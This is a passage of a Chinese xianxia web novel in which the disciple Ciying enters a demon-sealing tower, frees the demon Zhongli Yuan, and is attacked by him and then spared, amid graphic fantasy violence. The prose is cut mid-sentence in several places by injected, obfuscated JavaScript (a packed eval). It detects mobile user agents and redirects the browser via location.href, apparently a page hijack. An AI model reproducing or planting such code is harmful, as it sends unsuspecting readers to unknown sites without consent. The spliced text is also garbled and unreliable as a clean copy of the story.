“弟子自当竭尽全力为宗门分忧,赴汤蹈火,万死不辞!” “好。”江鹤川一直阖着的眼忽然睁开,目光落在她脸上,“那你便替让尘入天罡塔伏魔吧。” 谁?天什么塔?伏什么玩意儿? 辞盈还没消化完“天罡塔”三个字,门外噔噔噔跑进来个瘦高弟子,脸色惨白,吓得不轻:“老祖,九曜派进去的人,全都……碎了!” 立在一旁的游乘风不解地问:“什么叫全都碎了?” 话音未落,又一个弟子连滚带爬地撞进来,显然已经被吓破了胆,两条腿止不住的打颤,说话都说不利索了:“老祖,玄武教的人是带足了邪门法器和毒物进去的。可是……可是……” 游乘风已经失了耐心:“可是什么?你快说!” “可是他们进去不到一刻钟,便好像发疯一样逃出来,有的中了剧毒口吐白沫,有的被拧断了脖子,还有的好像中了邪,自相残杀起来!”那弟子脸色煞白,“老祖,天罡塔内真的只有钟离渊一人吗?” “无需惊慌,钟离渊被问心剑封印,老祖自有方法降服他,你们先出去吧。”游乘风强压着惊惶挥手让弟子退下,转身却见辞盈正蹑手蹑脚往门口挪,一把将人拽了回来。 “辞盈,你可知塔中人与你师尊的渊源?”江鹤川的声音忽然软下来,像在讲段陈年旧事。 辞盈内心:不知道,我也不想知道。 “钟离渊的父亲,是三百年前差点掀翻三界的魔王钟离桀。”他顿了顿,望着香炉里缭绕的青烟,“当年他与让尘的父母共创问心剑派,护佑苍生,多少修士挤破头想拜入他们门下——我也曾是其中一个。” “可世事偏如翻覆棋。钟离桀忽然入魔,大开杀戒。让尘的父亲墨翊为救苍生与其死战,最终同归于尽,他的母亲幼青也殒命于那场浩劫。那一战,血流成河啊......” 师尊就这样成了孤儿,当时的局面一定十分惨烈。辞盈听得心头发紧,忍不住追问:“钟离桀既死,钟离渊又为何会被封印?” “钟离桀临死前,竟将毕生修为灌给了幼子。那邪功里的煞气得有多毒,你该能想象。” 辞盈听得纳闷。 钟离桀为何要这样做?果然是疯魔了。他本来作恶,仇家就多,竟还敢将修为传给儿子,岂不是要害死自己儿子? “当年,许多人主张杀了斩草除根。然而他毕竟年幼,吾实在不忍,便将他送去莲花山玉真观,交由观主教养,希望他能走上正道,不要走他父亲的老路。谁知他却冥顽不灵,把玉真观搅得鸡犬不宁。待他长到十二岁那年,竟然火烧玉真观,将那老观主连同全体道众活活烧死,随后不知所踪。” “连恩师都能下此毒手,真是天生的坏种!”游乘风忍不住插话。 江鹤川不置可否,又接着道:“他下山以后四处作乱,又犯下许多罪孽。我派人搜寻了几年,终于将他擒获,镇压在天罡塔下,又以墨翊留下的问心剑封印他的法力,这才得了数百年的安宁。” 辞盈开启马屁模式: “老祖神功盖世!昔年老祖既能轻而易举将那贼子擒获,如今自然也可轻松制服他,我等能拜入水云剑宗门下,受老祖庇佑,实乃前世修来之福!” 江鹤川却摇头:“当年他年纪尚幼,虽得了钟离桀的修为,却不懂如何驾驭,我才能趁机擒了他。这三百年来,他法力虽被封印,却不耽误修行……” 正说着,那耳鸣般的尖刺音再度袭来,而且比之前的每一次都要尖锐震撼,几乎要刺破人的耳膜,辞盈捂着耳朵念了好几遍静心咒才勉强忍下来。 “问心剑的异动越来越强烈了!”游乘风脸色发白,“此剑乃上古神器,发出异动只有两种可能性:感应认主,或是受到极大的挑衅。剑主墨翊早已亡故,老祖,问心剑是不是受到了钟离渊巨大的冲击,才会如此悲鸣?” 江鹤川沉默不语。 原来是剑鸣不是肾虚吗?辞盈暗道,白白浪费我许多枸杞。 “难道真的……要镇不住了吗?”游乘风的声音颤抖。 “九曜派与玄武教今日来此,哪是为了替天行道?不过是觊觎问心剑罢了。可惜他们不懂,此剑最是认主,旁人得了去,也只是块废铁。”江鹤川忽然望向辞盈, “如今,唯有你能阻止这一切。” 谁??? 辞盈瞪圆了眼。 这老头怕不是老糊涂了吧?!麻烦你用你那老眼昏花的视力看清楚了,是我欸!躺平摸鱼吊车尾,旷课闲逛泡师尊的我欸! 你把拯救苍生的任务交给一个最不负责的人,你老人家简直比我更不负责任好吗? 江鹤川脸上难得浮现笑意:“莫怕,虽然你修为尚浅,法力低微,既没有除魔的实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101536|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战经验,又不知天罡塔内布局,与那钟离渊相比的确是以卵击石不堪一击……但我相信你此行一定能成功。” ……汝闻人言否??? 辞盈已经无力吐槽。我悟了,这位人模狗样的白胡子大爷,你丫就是诚心想弄死我对吧? 江鹤川眼神示意,游乘风不知道什么时候出去了一趟,再回来,怀里捧着一个不起眼的大紫檀木盒,郑重其事地交给辞盈。 “这什么?骨灰盒都替我定制好了?”辞盈怒了。 “盒内乃是太初灵锁,又名缚神锁,无论神魔被缚都无法挣脱。你见到钟离渊,丢出去便是。” “听起来倒也容易,”游乘风笑道,“小师妹不用怕,只管去就是了。” “容易你怎么不去?”辞盈转向老祖,“老祖,大师兄比我聪明勇敢还有力气,不让他去的话他肯定死不瞑目。” 游乘风尴尬地退了两步。 “此事非你不可。”江鹤川语重心长,“你也听到了,所有人只要靠近天罡塔便会立刻殒命,唯有你不同。你是圣女,任何人都不会舍得轻易杀你,钟离渊也不例外。他被困塔中无法炼化你的血肉为他自己所用,定会先留你一命。你只要趁他不备将缚仙锁掷出,便可解天下苍生之危。” “可是他怎么知道我是圣女?” 江鹤川道:“修为达到一定程度的人都能感受到你的至纯之灵,不需要验灵河,他一见你便可以感知。” “我拒绝。” 性命攸关,辞盈也不想再装什么端庄恭敬了。 我不入地狱,谁爱入谁入。 游乘风又插话:“小师妹,师尊平时教导我们,身为修道之人,当以护佑天下苍生为己任。你虽然害怕,也不能辜负了师门的一番栽培啊。” 辞盈没搭理他,对台上的江鹤川正色道:“这担子太重了,我担不起。万一有个什么闪失,不光我自己上西天,所有人都要倒大霉。老祖还是交给别人去做吧。” “你若不去,便只能等让尘回来。"江鹤川叹了口气,“他渡劫九死一生,回来怕是重伤在身,立刻便要入塔,那钟离渊与他又有杀父之仇,恐怕会凶性大发......” “……” 辞盈心里骂:……你丫在pua我。 “行,我去。”她接过檀木盒,又忽然想到了什么,“那钟离渊是十恶不赦的魔头,若他出来定会大开杀戒吧?” “自然。” 辞盈眼睛放光:“我若制服他,岂不是等于救了许多人,功德得论吨算吧?” “正是。” “这个嘛,我也不多给自己邀功,就马马虎虎,算我救了二百个人,不过分吧?” “你想说什么?”江鹤川不懂她突如其来的兴奋。 辞盈:“没什么,你就说能不能算吧?” 年轻人好大喜功也属正常。江鹤川鼓励道:“钟离渊若出塔,何止二百,怕要血流成河,浮尸千里。你此去乃是救苍生于水火,自然功德无量。” “得嘞。” 辞盈抱着盒子步伐轻快地离开。 游乘风:“没想到小师妹这么容易就被老祖说服了,老祖果然运筹帷幄,决胜千里。” 江鹤川:“哼,年轻气盛,怎能禁得住名利双收的诱惑。” 7. 当然是为了杀你啊 暮苍山脚下,天罡塔如一根巨针刺破夜空。 空气中弥漫着浓得化不开的血腥味儿,遍地是残破零碎的胳膊腿还有脑浆迸裂的头颅。血泊中横七竖八躺着中毒将死的汉子,正四肢抽搐着口吐白沫。仅剩几个站着的都身穿紫衣,满身血污。中了邪一般歇斯底里地嚎叫着互砍,直砍得血肉横飞,不死不休。 稍远些,两拨人正对峙。一边穿得花红柳绿,兵器也是五花八门——流星锤拖着铁链,火凤翎燃着幽火,还有人扛着根电线杆粗的破魔杵,活像杂耍班子。 为首一人靠坐在八角鎏金轿撵之上,正是九曜派掌门雷云起。 他长得瘦骨嶙峋,颧骨高突一副刻薄相,说话也不负众望地阴阳怪气:“玄武教用毒果然厉害,同门互戕毫不手软,只可惜刀法太差,互相砍了这么半天,竟还没个死透的。” 紫衣教徒本是列队整齐,个个精神抖擞,此刻却像挨了冻的蛐蛐,抖着身子排成一串,活似等着被收割的稻穗。 “雕虫小技,不足挂齿。怎及得上九曜派自残之快,骨头渣子满天飞。” 说话的中年人正是玄武教教主萧阳。他生得仪表堂堂,左手却只剩三根手指,正傲慢地骑在一头怪畜背上。那妖兽无角却长着青牛脸,背生翅膀偏无半根羽毛,凶悍丑陋得让人看一眼都嫌扎眼。 雷云起从鼻子里哼出一声,既不在意萧阳的嘲讽,也懒得管弟子的死活。 他这把老骨头没几两肉,坐久了硌得慌,在撵轿里换了个舒坦姿势,慢悠悠道:“萧兄向来眼高于顶,今日怎么也学起缩头乌龟?只让弟子去送死,自己连天罡塔的边都不敢碰?” 萧阳冷笑:“萧某本可进塔一试,大丈夫死又何惧?只怕有无胆鼠辈趁虚而入,倒坐收了渔翁之利。” 雷云起身胖站着个肥头大耳的胖子,胳膊比雷云起的腰还粗些,瓮声瓮气插了句:“还是萧教主会说话,明明大家都是缩头乌龟,他就能装得像个英雄!” 一句话连自己掌门也骂进去了。雷云起斜了胖子一眼,不悦道:“胡四,我让你叫上曹不义,他人呢?” 九曜派共有东西两个护法,东方护法贪财,西方护法好色,两个都不是东西。 西方护法胡四啐了一口,骂道:“说什么逍遥山庄请他去帮忙。呸,无非是去分盗墓的赃!那逍遥山庄表面做的是木材生意,背地里挖坟盗墓,偷抢拐卖什么不干?前几日竟然都敢跟我抢姑娘了!要不是他曹不义收了钱给他撑腰,凭逍遥山庄那一只眼的老东西,怎么敢跟我叫板?他妈的……” 话说一半,胡四忽然卡了壳。雷云起回头见他两眼发直,顺着他的眼神望去,只瞧见一个美艳娉婷的姑娘抱着檀木盒从山上下来,如清水出芙蓉,水云剑宗的道袍都掩不住姿色。 雷云起恨不得踹他一脚:“见色忘命的东西!说正事儿呢!” 胡四哈喇子三尺长:“啊……是,这妞可真不赖……要不您等我一会儿,我先把人弄回来?” 众人顺着他的目光看去,那姑娘捧着木盒大步流星往前走,对远处的人群视若无睹,踩着尸山血海走到天罡塔前,脚下的血肉仿佛只是寻常泥土,脸色连半点波澜都没有。 胡四眼看美人马上要变肉泥,实在可惜,忍不住大喊:“快回来!别再往前走了!” 萧阳和雷云起却同时认出了圣女,心念一动,也想要抢人,只是她一只手已经触上天罡塔的朱门,万分危急,谁也不敢再往前凑。 塔下,辞盈抱着缚仙锁深吸一口气:呼,干完这票我就能回家了! 三千功德,我来啦! 天罡塔巍峨耸立,玉栏绕砌,外墙金辉兽面、彩焕螭头,气派得让人不敢直视。 木门沉重,辞盈缓缓推开,塔内却是另一番景象。 没有她想象中的雕梁绣柱,飞阁流丹。四壁无窗,塔内漆黑一片,几乎伸手不见五指,只靠墙点着一根极微弱的金烛,犹如萤火之光,仿佛随时都会熄灭。 辞盈抱紧檀木盒,心中又默背了一次盒身上刻的梵文。老祖说,缚仙锁必须要配合盒身上的口诀才会生效,她怕一紧张会忘词,特意背得滚瓜烂熟才敢进来。 静立了许久,等眼睛逐渐适应了黑暗,借着烛光再看,发现塔内正中央头顶上高悬着一把古剑,而最里面仿佛有个人影。 她小心翼翼地往前走了几步。那人影举着两条手臂,看起来张牙舞爪地好像要扑过来,却又一动不动,安静得像个死人。 再走近些,她才明白是怎么回事。 那是个单薄的少年,却不是在举手——他的手腕被筷子粗的铁钉钉在墙上,腰间勒着铁环,锈铁链从琵琶骨里穿过去,把人硬生生挂在那儿。 他的脑袋有气无力地耷拉在胸前,银发披散下来遮住脸,如果不是有那两根铁钉将他挂住,恐怕整个人早就烂泥一样瘫倒在地上,根本不能直立。 辞盈倒吸了一口凉气。 别说是个人,就算是妖也扛不住这种近乎于虐杀的禁锢。 这就是钟离渊?那个传闻中血腥残暴、灭绝人性的魔头? 看他这模样跟半个死人差不多,可刚才进塔的九曜派和玄武教弟子,又是被谁杀的? 来不及细想,辞盈赶紧打开檀木盒。然后,从里面掏出一个拳头那么大的水晶球。 “……” 她真想扯着江鹤川的白胡子问问:你们特么管这玩意儿叫缚仙锁? 不带这么坑爹的吧! 正犹豫要不要取消计划直接掉头跑路,少年的指尖突然动了一下。辞盈心里一激灵,条件反射地把水晶球扔了出去,同时在心里连念三遍咒语。 拜托拜托,我不想死在这儿! 她本是闭眼乱抛,那圆球却像有磁力一样被吸进少年胸膛。没有耀眼的光,没有激烈的反应,连点动静都没有,圆球就融进了他身体里。 就这? 紧张半天,像除夕夜放了个哑炮。 完了,我死定了。辞盈绝望地想,他肯定会把我像阳澄湖大闸蟹一样大卸八块。 然而想象中掰螃蟹的恐怖画面却并没有出现。 少年似乎刚刚苏醒,还没回过神,虚弱地抬起头,露出一张惨白的脸。眉骨锋利,眼尾上翘,像只无辜的小狐狸,竟是意外的好看。只是伤势太重,脸色憔悴,在晦暗的光线下更显得楚楚可怜。 少年一见她便怔住了,眼里尽是不可置信:“阿姐……” 阿姐?这是几个意思? 辞盈让他叫得有点儿发懵。 她自从穿到这个身体,便是被墨让尘救回来。身边人告诉她,她是圣女,家乡被屠,亲人皆亡。也是他们告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101537|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉她,天罡塔中关着的是钟离桀的儿子,是个十恶不赦的魔头。 可为何他会叫自己阿姐?难道她也是钟离桀的子女?或者他也是桃花坞的孩子?甚至,可能他们二人都与桃花坞和钟离桀没有任何干系,这一切都是谎言? 可恶,要长脑子了。 “你说什么?”辞盈追问,“你叫我什么?” “阿姐,你终于来救我了……”少年眼中闪着期待,说这两句话像耗尽了全身力气,喘息了许久。 辞盈忍不住往前走了几步,站在他面前仰视着。少年很高,就算被吊在墙上站得歪歪扭扭,也比她高出半个头。 “你还好吗?”她开始担心他是不是快不行了。 少年伤势太重,全无气力,呼吸越来越轻,声音也几不可闻:“我还以为……再也见不到你了……阿姐,让我……再看看你的脸……” 辞盈凑近了些:“你看清楚,我真的是你阿姐吗?” 少年颤抖着,脸色越发惨白如纸,嘴唇也毫无血色,虚弱得仿佛一碰就碎。他眼神涣散地轻念:“我看不清……阿姐……你在哪里,这里好黑啊……我好怕……” 人真的不能总装好人,装久了容易改不回来。 辞盈心中居然涌上一阵酸楚。 不管她是不是他阿姐,这孩子看起来甚至比自己这具身体的主人还要小些,却在这不见天日的塔底受尽了折磨,眼看快要不行了,连最后这点心愿都满足不了。 “你等我一下!”辞盈跑到墙角,那根细长的烛火前,发现那其实是一排烛台,原本共有五只蜡烛摆得规整,其他四只大约都被风吹灭了,只余中间一只还苟延残喘着。 她左右手各持一只蜡烛点燃了,房间里顿时明亮了许多。 “阿姐你在哪……太黑了,我还是看不清……”少年的呼唤从身后传来,声音似乎也比刚才亮了些。 “别急,马上就来。”辞盈手忙脚乱地将另外两只蜡也引燃了插回烛台,没料到五只金蜡连在一起,突然蹿起一丈高的火苗,紧接着狂风大作! 塔内明明封闭严密,却不知从哪里吹来的阴风,怒号着,吹得人睁不开眼。烛光燎天金光四射,塔中竟瞬间亮如白昼。 辞盈震惊于眼前的异象,耳后忽然响起低沉如鬼魅的声音: “阿姐,多谢了。” 一股寒意顺着脊梁直冲后脑——辞盈猛地回头,哪里还有什么琵琶锁和铁钉! 眼前的少年一袭红衣,腰身笔挺,银发如瀑布般垂落,手腕上戴着同色银镯,额间烙着抹殷红的奇异花钿,俊美得让人失神,半点病态颓色都没有。 辞盈抓过他的手翻来覆去检查,皮肤光洁雪白,哪有半点伤痕? “你是如何……” “至纯之灵果然愚蠢,找铁钉铁链吗?”少年轻蔑地笑,“不过是幻象罢了。” 辞盈又惊又气:“你真的是钟离渊?可你不是被问心剑封印了吗?” 少年摊开手,堂中高悬的古剑便立刻乖乖飞到他掌心里。“你说它?”他像玩玩具似的摆弄着,挑眉道,“它也配?” 辞盈不甘,仍然抱有一丝幻想:“那你又为何叫我阿姐?” “为何?”少年俯身凑近她耳边,声音阴恻恻如毒蛇盘缚上来: “当然是为了杀你啊——” 8. 这女的必须死 钟离渊勾唇一笑,突然扼住她的喉咙! “那些来送死的废物说,炼化你的血肉能大涨修为。你既然送上门,我岂能辜负?” 辞盈被卡住脖子,像条缺氧的鱼似的嘎嘣了半天嘴发不出一个音,她瞪圆了眼珠等死,却迟迟等不到他动手。 按说钟离渊要捏断她的脖子应该比捏碎豆腐难不了多少,可是看他的表情,怎么好像比自己还难受呢? 手上一旦开始施力,他就拧眉瞪眼,满脸挣扎,显得万分痛苦,甚至红了眼眶,如同要杀的真是他亲姐姐一般心如刀绞。 几次尝试下来,他勃然大怒:“你给我下了咒?” 辞盈内心:什么咒?或许你是说那个圆滚滚的缚仙锁吗? 她一脸痴呆,看起来倒像是在嘲讽。钟离渊眼底杀意更浓,掐住她脖颈,猛得向塔壁撞去! 轰隆一声!厚重的塔壁轰然崩碎,硬是被辞盈的身体撞出一个大圆窟窿! 彼时水云剑宗的人也已经守在塔外,三方对峙着不敢轻举妄动。 众人等了半天没动静,都以为辞盈必死无疑,突然见塔内金光大作,问心剑的悲鸣戛然而止,紧接着一声巨响,有东西从塔里飞了出来,速度之快令人咂舌,根本看不清是什么怪物。 直到钟离渊翩然落地,把气息奄奄的辞盈扔在一边,众人才看清发生了什么,人群瞬间炸开了锅。 “这少年是谁?是钟离渊?不可能吧!” “除了他还能有谁!” “他出来了!这下完了!” “真的是他吗?会不会钟离渊还在里面?” “从天罡塔里撞出来的,还能有谁?” “跑不跑啊?我不想死啊!” 有胆小的弟子拔腿就跑,雷云起抬手掷出个爪形利器,五根尖刺淬了剧毒,精准击中那弟子后脑,深深扎进颅骨里。脑浆汩汩流出,小弟子连哼都没哼一声就倒了。 “谁敢跑,就跟他一样!”雷云起抽回那叫“乌龙夺”的利器,厉声喝道。 辞盈瘫在地上,眼前直冒金星,脑袋里一片空白,嗡嗡响了许久才逐渐恢复意识。 她被钟离桀推着肉身,硬生生撞破塔墙,从头到脚没有一处不疼,整个人像被万吨重甲碾过一般。 如果不是身上带着墨让尘五十年的修为,勉强抵挡了一下,凭她这小身板早就魂归西天了。再看眼前浮起的几行金色小字: 「功德清空」 「当前:0/3000」 我*f——(消音)!!! 辛辛苦苦干三年,一夜回到解放前! 我不就点了几根蜡烛吗?凭什么他后续杀人的罪孽全要算我头上?! 辞盈大字型摆烂,瞅着天空,生无可恋。 天罡塔外,暴土扬尘,横尸满地,鸦雀无声。 修为低的人噤若寒蝉,生怕一不小心吸引了场中红衣少年的注意,小命就没了。修为高的人都暗自盯着那少年手中把玩的古剑,打着各自的如意算盘。 水云剑宗阵列里,一个锦衣华服、腰间佩玉的清秀少年不管不顾地冲了出来:“钟离渊!快放了我小师妹!” “羡之回来!”叶棠眼疾手快,横剑将他拦下。 江羡之自知不是敌手,便转向江鹤川央求道:“爹,你快救救小师妹啊!” 平日在众人面前,他都同其他师兄弟一样,唤江鹤川一声“老祖”,眼下一急,却是顾不上规矩了。 游乘风赶紧劝道:“现在情况不明,老祖若贸然出手,容易适得其反。” 江鹤川须发皆白,身着玄袍,手持拂尘,颇有些仙风道骨之意,神色肃然扬声道:“钟离渊,你休要伤及无辜!” 钟离渊红衣若枫,孤身立于碎石残壁中央,却神态轻松自若,侧头看见江鹤川,竟很开心地笑了:“老道,你竟还活着,真是太好了!” 他本就是十八九岁的少年模样,身形虽高却有些单薄,不似一般习武之人那样宽厚。脸又长得雪白漂亮,笑得天真烂漫,竟像是哪个大户人家偷跑出来的小少爷,乖巧可爱。 眼见他这副柔得仿佛一捏就碎的模样,雷云起的目光在问心剑上打了个转,心底那点硬抢的念头像野草般疯长起来。 三百年前墨翊与钟离桀同归于尽后,他雷云起创立九曜派,纵横江湖罕逢对手。论实战,纵然不敢说冠绝天下,也绝对是能让半数门派抖三抖的角色。 这钟离渊看着脸嫩得很,有没有可能,他就是个中看不中用的绣花枕头呢? 念头转了几转,雷云起还是想再加道保险。他转头看向萧阳:“萧兄,依我看那钟离渊不过是个乳臭未干的小子,未必有传闻中邪乎。不如你我联手拿下他,夺了问心剑,总好过便宜了萧鹤川那老东西。” 萧阳本就动了心思,闻言却冷笑一声,指尖在袖中蜷了蜷:“问心剑就一柄,抢到手,你打算怎么分?” 雷云起笑得像只偷腥的猫:“早料到萧兄有此一问。实不相瞒,我近日刚探得错金博山炉的下落。若能得问心剑,我愿以宝炉情报相换!” 萧阳闻言精神一震:“此话当真?” “我怎敢诓骗萧兄,咱们先杀了那毛头小子,问心剑到手,我定助萧兄去取宝炉!” 两人眼神一对,杀意顿生。 雷云起率先发难,手腕一扬,乌龙夺带着破风锐啸直扑钟离渊面门,同时身形如箭射出,掌中宝剑寒光乍泄,直刺少年背心。 与此同时,萧阳仅余的八根手指微曲,缓慢摇摆,似在弹琴又像在编织,在钟离渊的上方逐渐形成了一张黑云压城般的密网,自穹顶迅速扑杀下来。 这线细如蜘蛛吐丝,却黑压压的密不透风,乃是玄武教主萧阳的绝杀技——饮血阵。丝线锋利坚韧,削铁如泥,人只要被这网罩住,必定会被切成肉泥,尸骨无存。 如今风头最劲的两大门派之主,竟联手对一个少年下死手,且不遗余力地用上自己的看家本事。 围观的人都屏住了呼吸,眼睛瞪得滚圆,只等着看那少年如何化为一滩血水。 利刃率先杀到,少年的身形快如鬼魅,微微侧肩,轻松躲过了雷云起的乌龙夺与利剑。 密网压下来,辞盈条件反射地往钟离渊身边躲。 黑网骤缩,眼看就要触到头顶。少年脸上不见半分慌张,掌心忽聚一团红光,抬手间,竟引漫天火焰,将密网寸寸点燃。 那能绞碎钢铁的网,顷刻间便化为一缕青烟。 全场死寂,众人嘴巴张得能塞下鸡蛋,连倒抽冷气的声音都没有。 钟离渊拍拍手,依然是一副天真模样,很有趣似地勾了唇角:“该我了。”话音未落,出手快如闪电,十分随意地在雷云起的头上击了一下。 连惨叫也来不及出口,雷云起的脑袋直直飞了出去,鲜血如注,从断截的脖腔中喷涌而出,足足一人多高。 尸身轰然倒地,四肢还在抽搐。 而那颗带血的头颅,则如杀器般砸向远处的萧阳。 玄武教众人擅长用毒,与人比斗多以邪术取胜,于修为内功上通常不太用心,唯有教主萧阳是个例外。 萧阳曾与雷云起、江鹤川同在问心剑派门下,三百年前,他便是三人之中内功最深厚的。这三百年来,江鹤川一心向道,雷云起又贪图享乐,唯有萧阳不曾懈怠,始终如一地苦修了三百年。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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终于,他狠狠地吐了口气,阴沉的目光扫过面前瑟瑟发抖的众人,寒声道:“有谁敢出来杀了她,圣女血肉就归谁他。” 无人应声。 谁知道这祖宗葫芦里卖的什么药?圣女血肉再香也得有命尝才行。 钟离渊眉头拧的更紧,又问了一遍: “没人敢动手?” 依旧是一片死寂。 钟离渊眸色沉冷如淬毒的刃,唇角绷紧的弧度透着森然杀意: “那你们也没必要活着了。” 辞盈被他提在空中,无处着力,两只手愤怒地胡乱划拉着要挠他:“怎么说也是我救了你,咱俩无冤无仇,你干嘛非要我的命!” 钟离渊看着眼前的女孩满面怒容,发髻松散,像只待宰的鸡似的瞎扑腾着,竟觉得世间最可爱莫过于此,莫名生出满心欢喜。 真是见了鬼了,这女的必须得死! 这时,九曜派队伍里挤出个肥硕的身影。胡四忍不住瞅了眼雷云起的无头尸,声音发虚:“我……我想试试。” 钟离渊瞥了他一眼,狠狠将辞盈丢到他面前:“动手。” 胡四本就好色,见了这般美人,哪舍得直接杀了?他伸手就想去摸辞盈的脸:“这么漂亮的美人,杀了实在可惜……不如让我带回去……” 钟离渊眼见那只脏手向她伸过去,太阳穴跳了两下,极难忍受似的,咬牙忍道:“少啰嗦,你到底杀不杀?” “杀!我杀!”胡四缩了缩脖子,不敢再啰嗦,当即以手为爪,按在辞盈天灵盖上蓄力。 辞盈闭上眼等死。 9. 相思咒 功德刚清零,就这么死了,能穿回去吗? 头顶的手越收越紧,颅骨似要被捏碎。 忽然一阵疾风掠过,伴随着一声惨叫。头顶的手还在,可抓着她的力量却没了。 什么情况? 辞盈懵了。睁眼一看,胡四正往后踉跄,肩膀处像水管崩裂般狂喷鲜血——他的胳膊竟不翼而飞,断口处血肉模糊,惨不忍睹! “啊——”胡四哀嚎一声昏死过去,断臂还在汩汩冒血。几个弟子战战兢兢,见钟离渊没看这边,才敢连拖带拽把人弄下去包扎。 钟离渊走过来,蹲下身,前前后后仔细检查辞盈的脑袋:“怎么样?可受伤了?” 他眼神紧张,胸腔剧烈起伏,像是心有余悸的后怕。 不是……大哥,你精分吗? 辞盈搞不懂这人的路数,一时没接话。 钟离渊却以为她被捏脑袋捏傻了,当即大怒,起身就要去屠了玄武教众人。辞盈连忙将他胳膊拽住:“你等会儿,我还行。” 钟离渊一愣,看看她抓住自己的手,倏地别过脸,耳尖泛起一抹薄红,连呼吸都放轻了:“好,我不走。” 这一脸诡异的柔情蜜意,简直比他发怒的样子还可怕,辞盈试探着问:“你不想杀我了?” “想。”钟离渊指节捏得咔咔作响:“我恨不得现在立刻把你烧成灰。” “……” 实锤了,你就是精分。 是不是关太久把脑子关坏了? 钟离渊凝望着她,眼里三分是恨,七分是怜:“可我又舍不得。” …… 这么肉麻的话,你一个大魔头当着这么多人说出来也不害臊? 不管怎么说,我是不是暂时不用死了?辞盈迅速调整情绪,哆哆嗦嗦挤出一个微笑:“其实你我也算有缘……” “这样吧,这回我不看了。”钟离渊突然转向众人,“你们杀她,我转过身去。” 辞盈:“?” 众人:“???” 钓鱼执法呢你俩在这?! “来啊!怎么没人敢来?”钟离渊扫视全场,语气里满是嫌弃,“一群废物,要你们何用,不如都杀了。” “……清衍真人救命!” 九曜派失了掌门,东方护法缺席,西方护法又已经不省人事,徒众们再管不了许多,哪里能活命哪里就是家,纷纷弃暗投明,逃向水云剑宗。 钟离渊冷笑:“正好,我连那老道一起杀。” “哎别!”辞盈像个树懒一样死死地抱住他的胳膊,“水云剑宗的人不能杀!” 钟离渊身体一僵,素来凌厉的目光竟闪躲开,喉结滚了滚:“……你松手。” “我不松。”辞盈看穿了这精分兔崽子的软肋,语气放软,带着点撒娇的意味, “宝贝,别急,坐下来聊聊嘛。” “……别得寸进尺,”钟离渊牙咬得咯吱响,“真当我不敢杀你?” “你好凶哦。”辞盈歪着头看他,笑得温柔,“要吓到我了。” 封印钟离渊这等大事,水云剑宗上下近千人,连做饭扫地的都跑来围观。此刻却见宗主的亲传弟子坐在地上,笑嘻嘻地跟魔头拉拉扯扯,还“姐姐弟弟”叫得热络。而那魔头本人,竟面红耳赤得像个羞答答的大姑娘。 传功长老实在看不下去,从队伍里跳出来:“岂有此理!辞盈!你乃宗主亲传弟子,怎可与魔头拉拉扯扯,同流合污?简直伤风败俗!”他最近掉了两颗门牙,说话不仅漏风,还像个喷壶似的喷口水。 辞盈心里翻了个白眼:老头儿,好好活着不香吗? 果然下一秒,传功长老便被钟离渊的掌风卷起数米之高,纸风筝一样,在天上旋转着翻跟头。 老头也是硬气,在空中大头朝下还在怒吼:“钟离小儿!老夫不怕你!一把年纪死又何惧!你休要猖狂!待宗主回来必不会轻饶了你!你且等着吧!” 他情绪一激动,口水跟下雨似的往下掉。底下众人苦不堪言,又不敢抬头接,纷纷捂着脸抗议:“长老快别说了!我们没人带伞,要湿透了!” 低沉的冷笑从喉间溢出,钟离渊眼底已淬满杀机。 腰间却忽然被软藤般的手臂缠住,身后是温香软玉:“理他作甚,你只看着我嘛。” 钟离渊浑身一颤,眼里的火焰像被冷水浇灭,僵硬地杵在原地。 传功长老在空中突然没了依托,直直坠下,正好砸在看热闹的大厨卓雁行头上。 卓大厨打小就盼着长高,最恨别人压他头,被传功长老砸这一下,差点把脑袋砸进脖腔里,当即大怒:“你个不长眼的老东西……” 话没说完,忽然瞥见叶棠就在不远处跟儿子说话,卓雁行瞬间熄了火,尴尬地轻咳两声,乖得像只鹌鹑。 辞盈绕到钟离渊面前。 那漂亮的瞳孔闪过一丝慌乱,少年只是低头看着她的脸,呼吸便乱了方寸,连耳根也泛红。 他红温了。 辞盈手指轻柔地,在他起伏不定的胸口画了个圈,仰头笑道:“小郎君,不然……你带我回家如何?” 嘭。 哦吼?她好像听见他血管里在放烟花了。 辞盈扬起嘴角,眼看着这位人人惧怕的大魔头故作镇定的脸上缓缓流下两道毫无尊严的血痕…… “呀,你流鼻血了呢。”她娇笑着,手指去碰他冰白俊美的脸。 “不要碰我……!”少年澄澈的声音有些发哑,显然已经忍到极限。 下一秒,钟离渊终于身形一晃,没了踪影。 暮苍山,清莲斋。 “说!为何要释放钟离渊?”执法长老厉声发问。 辞盈浑身是伤,跪坐在地上,一肚子火压了又压,才缓缓开口:“是老祖让我入塔,说把缚仙锁扔出去就行。我哪知道那五根金蜡,就是钟离渊被封印的灵力和五感?” “那你的缚仙锁呢?为何不用?” 